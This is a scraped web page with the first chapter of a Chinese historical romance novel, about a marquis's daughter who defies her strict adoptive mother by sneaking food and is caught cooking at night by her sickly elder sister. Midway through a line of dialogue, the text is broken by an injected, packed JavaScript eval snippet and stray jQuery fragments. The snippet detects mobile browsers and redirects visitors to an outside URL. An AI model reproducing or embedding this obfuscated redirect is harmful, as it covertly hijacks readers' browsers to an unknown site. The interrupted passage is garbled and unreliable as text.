默认冷灰
24号文字
方正启体

1. 偷吃

作者:莲池沐客本书字数:K更新时间:
    上京,威宁侯府。


    赤日当空,蝉鸣聒噪,人更聒噪。


    “明日便是你与宋家六郎相看的日子,三家四望向来看中女子才德,你拿这个鬼东西是要糊弄谁?”靠在软榻上的肃穆妇人将绣的不知是山鸡还是野鸭的绣帕,甩到旁边藕衫少女面上。


    容姝从容接过滑落的绣帕,眼睫眨都没眨,“母亲,您也知道,女儿素来不擅这些的。”


    “那你擅什么?琴棋书画,还是诗词歌赋?我细心栽培你多年,你说说你都学会了什么?!”


    威宁侯夫人骆静华将茶盏重重搁下,声量抬得极高,“榆木脑袋!”


    容姝下意识缩了下脖子,俏丽面容顷刻间正经了不少,“母亲息怒,都是女儿的错,女儿确是一块朽坏的榆木,雕不动,琢不透,让母亲失望了。”


    “我看你就是那茅坑里的顽石,又臭又硬,还专门来膈应我!早知如此,当初我就不该可怜你,将你过继到我的名下。”


    骆静华气极,当年秋姨娘难产而亡,自己膝下只有一个先天不足的长女,想着将这孩子过继来,好生培养,说不定将来能派上大用场。


    哪曾想,她竟是这般的不成器!


    容姝赶紧走到骆静华边上,拿起檀木桌上的锦绣团扇替她扇风,“母亲消消火,小心中了暑气!京中冰块难得,又有孟姨娘把着关,什么好的都紧着昭弟先用,我们也分不了几块。”


    骆静华狠狠睨着她,“我看你就是成心想气死我!”


    威宁侯容启真子嗣单薄,就两个女儿和一个儿子。嫡长女容岄身娇体弱,鲜少露面,容姝作为名义上的嫡次女,在侯府地位并不高。


    幼子容昭虽是庶出,却极为受宠,加上他母亲执掌中馈,所以他的一切待遇都比长房好得多。


    “孟丽桥那个贱人以为从我手中夺过掌家之权就能跃过我去?妾终究只是妾,一辈子都是个登不上台面的贱人!”


    骆静华越想越气,若不是她娘家没落,又无亲生儿子傍身,哪用受区区一个姨娘的气。


    容姝抿着红唇,手上扇得更起劲了,“母亲,掌家烦累,孟姨娘这是在替您分忧,也算是好事一桩了——”


    “啪”地一声儿。


    骆静华拍掉她手中团扇,“滚!”


    “好嘞!”


    容姝赶紧提着裙摆,垂头快步往外走,刚跨出门槛,后头响起“等等——”


    “我见你这几日似乎圆润了几分,还没许人家怎可如此贪嘴?从今日起,不许再用晚膳了。”


    骆静华抬手招呼后面的婆子,“汤姑,你去厨房打声招呼,从来往后不许再给二娘子送晚膳,那些零嘴点心也一概不许送。”


    “好的,夫人,奴婢这就去办。”


    容姝顿住脚步,捏了下自己纤细如旧的腰身,她圆润了吗?难道是最近偷吃的珍馐美味都显化在身上了?


    从小到大,骆静华都严格管控她的饮食,咸了不行,甜了也不行,每日饭食清淡如斋,一个月里难得有两回沾点肉沫腥子,还是清蒸、水煮的做法,俨然是想将她养成个弱柳扶风的窈窕淑女。


    可惜,她偏偏是个极为贪嘴的,哪能受得了如此寡淡无味的饮食。


    容姝不在意地点了点头,就她指定的那些清汤绿草,多一顿少一顿的有甚区别?!


    院子外暑气正盛,阳光打在绿油油的枝叶上,亮得刺眼。


    她长吁一口气,如水杏眸里浸着些许忧愁。


    从青州探亲回来一月有余,骆静华已经紧锣密鼓地替她安排了数场相看,其中有纨绔赌鬼,有先天残废,甚至还有四旬鳏夫……


    唯一的共同点就是:这些人都出自大熙朝名震天下的高门望族——三家四望,即裴、郑、温三大世家,宋、谢、崔、何四大望族。


    若论声望和势力,明面上自然是上京城中与皇族有千丝万缕关系的三大世家更甚一筹。若论财富和底蕴,出自州郡的四大望族则深不可测,有些家族历经数朝,行事低调,颇为神秘。


    而他们威宁侯府呢,不过是祖上百年前救驾有功,才得封威宁侯,根基浅薄。近百年来,容家人才凋敝,鲜有出仕,如今就剩下个空壳子,后嗣姻缘自然高攀不上正经的世家贵族,更别说那人人趋之若鹜的三家四望。


    便是想攀,也只能在旁支里挑挑拣拣,选一些还算凑合的,能喘上气的,落个名望之家姻亲的面子。


    容姝知晓此刻她就是骆静华手中待价而沽的棋子,只待谋个识货的,能卖上个好价钱。


    可姻缘大事,事关终身,她断不会草草嫁人,何况她已经等了一个月,或许那位如玉郎君会来……


    晚膳时分,容姝肚子饿得咕咕作响。


    婢女风兰抱着空空如也的青玉碟子,“二娘子,这余下的一碟翡翠糕都被你一粒不落地吃下了,怎么这会儿肚子还闹得十分响亮?”


    容姝从软榻上起身,走到里间,趴到床榻上,弯着腰身在枕头里侧摸来摸去。


    “二娘子,你在找什么呢?”


    “嘘!”容姝鬼鬼祟祟地掏出一个巴掌大的精巧小木盒,打开一闻,立即露出享受的笑容。


    “这可是万香楼的头号招牌——四味肉脯,何为四味呢?就是咸香麻辣……”容姝扣下一片塞入口中,“人间美味啊!”


    她又扣下一片递给风兰,立即阖上盖子放回原处,“省着点儿吃!”


    风兰眼睛一亮,果然好吃非凡,哪是府中那些清汤寡水能比的,她伸着脖子往前探,“二娘子,你什么时候买的?夫人可是不允许你私自出府的。”


    容姝掏出绣帕擦净手指,睨了她一眼,“风兰,吃人嘴软,你可不要将此等小事都告诉母亲啊。”


    风兰是骆静华指派给她的,虽是眼线,但跟了她七八年,也算有几分真心,这两年开始睁一只眼闭一只眼,只捡一些无伤大雅的事情汇报。


    “放心吧,二娘子,我绝不会说的。你经常三更半夜不睡觉,摸进大厨房给自己炒菜吃的事情,我也没跟夫人说哦。”


    “……”容姝睨了她一眼,“那还不是因为你吃得比我还多!还好厨房管事的苗婆子跟我关系好,不仅不锁门,还会特意给我留些新鲜食材。”


    从前骆静华管家的时候,事无巨细,样样精打细算,她就算是夜半给自己开小灶,也吃不了多好。


    两年前,孟姨娘开始管家,容家一改往昔节俭风气,从上到下吃穿用度好了不少,因此府里人大半都站到了她那边。


    风兰讪笑,“二娘子,要不我们先洗漱就寝吧,等夜深了再去厨房偷偷炒菜吃?”


    容姝看向窗外,只见暮色霭霭,霞光尚有余韵,天还没黑透呢,就催她就寝了……


    “好吧,你先去打热水,最近也不知道怎么了,胃口特别的好,看来今夜得多添一个菜!”容姝慢条斯理地脱去轻薄外衣。


    想起白日里骆静华指摘她的话,她葱白玉指在自己身子上来回丈量,又站在铜镜前来回照,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058344|194932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到底哪圆润了?”


    虽然她吃得多,但向来纤瘦窈窕,蓦地有人说她圆润了几分,她当真有些耿耿于怀。


    她躺到床上左思右想,最后得出一个结论,那就是:骆静华老眼昏花,看岔了眼。


    半夜三更,风兰叫醒沉睡的容姝,俩人趁着夜色摸进府中大厨房,轻车熟路地生火做饭。风兰负责洗菜和生火,容姝负责掌勺,俩人配合得十分默契。


    半个时辰不到,容姝就做好了三个菜,素玉白菜、香拌莲丝,还有一盘堆得老高的水葱炝羊肉,两人各捧一大碗白米饭,站在灶台边大快朵颐。


    “二娘子,你这手艺实在是太好了!比起外面那些饭馆里厨子丝毫不逊色!”风兰夹了一大块羊肉片儿,由衷感叹容姝的厨艺。


    容姝吃得心无旁骛,“吃你的饭吧,还有空隙说话。”


    细不可觉地“吱嘎”一声儿,门被打开了,一道黑影轻轻走了进来。


    风兰只觉微弱的灯影恍惚了两下,猛地一回头。


    “啊!鬼啊!!”她紧扣碗筷,哆嗦着惊呼一声。


    容姝闻声回头,也是一惊,她立即放下碗筷,一手掩上风兰瞎叫唤的嘴巴,恭敬道:“长……长姐,你怎么来这了?”


    偌大的厨房黑漆漆的,她们只敢点一盏微弱晦暗的灯放在灶上不显的位置。


    哪曾想深更半夜,容玥会悄无声息地踏入厨房。她患有心疾,素来体弱多病,养在秋桐院不怎么出门,人虽是美的,可身形消瘦,面容素白,眼下又一身白衫披散着头发,可不就像那骇人的厉鬼。


    虽然她像鬼,可不能当她面的说出来,容姝又悄悄给风兰递了个眼色,示意她不要乱说话。


    容玥冷眼看着她们,“我说我那院子里怎么经常半夜飘着一股香味,原来是你们两个贪吃鬼——”


    烛火昏暗,更显她面色惨白,容姝撇嘴,她自己这副模样怎么好意思说她俩是鬼?


    “长姐,我就是饿了,母亲不让我吃晚膳,我只好……”


    容玥目光森然,“饿了便要半夜出来偷吃,你们可懂规矩二字怎么写!母亲要是知道了,你猜会关你一个月的禁闭还是两个月?”


    风兰缓缓隐到容姝后头,这位容玥大娘子她可不敢惹,她向来脾气古怪难,说话也颇为尖酸刻薄,难伺候得很。


    容姝挤出一丝谄媚之笑,“长姐宽宥,这等小事就不要叨扰到母亲跟前了吧?”


    “小事?”容玥冷哼,走到她们跟前,一把端起容姝搁在灶台上的饭食,“这个时辰食用这等荤腥,还满满一大碗,你管这叫小事?”


    骆静华对容姝素来严苛,亲自教她识文断字不说,还不惜花重金从外面请师傅回来授她琴棋书画等技艺,盼的就是有朝一日,她容二娘子能在上京博个才女的好名声。


    可惜,她就是一块朽木,便是花再多的精力也是白费力气,更何况她自个儿压根也不想雕。


    她天资不足,又学得马虎,离她们想要的上京才女之名隔得有十万八千里之远。


    于是,骆静华便改变策略,开始关注起她的外貌。暗中托人寻了好些美容养颜的方子,外敷内服齐上阵。


    可能那些方子真的有用,她的肌肤日益白嫩红润,如绸缎般光洁丝滑,加上本就生得貌美,愈加光彩照人、顾盼生姿。


    “长姐,我没胖!”她拽住容玥白袖,轻轻晃了两下,作可怜状。


    容玥毫不留情地挥开,“非要吃成猪,才算胖吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)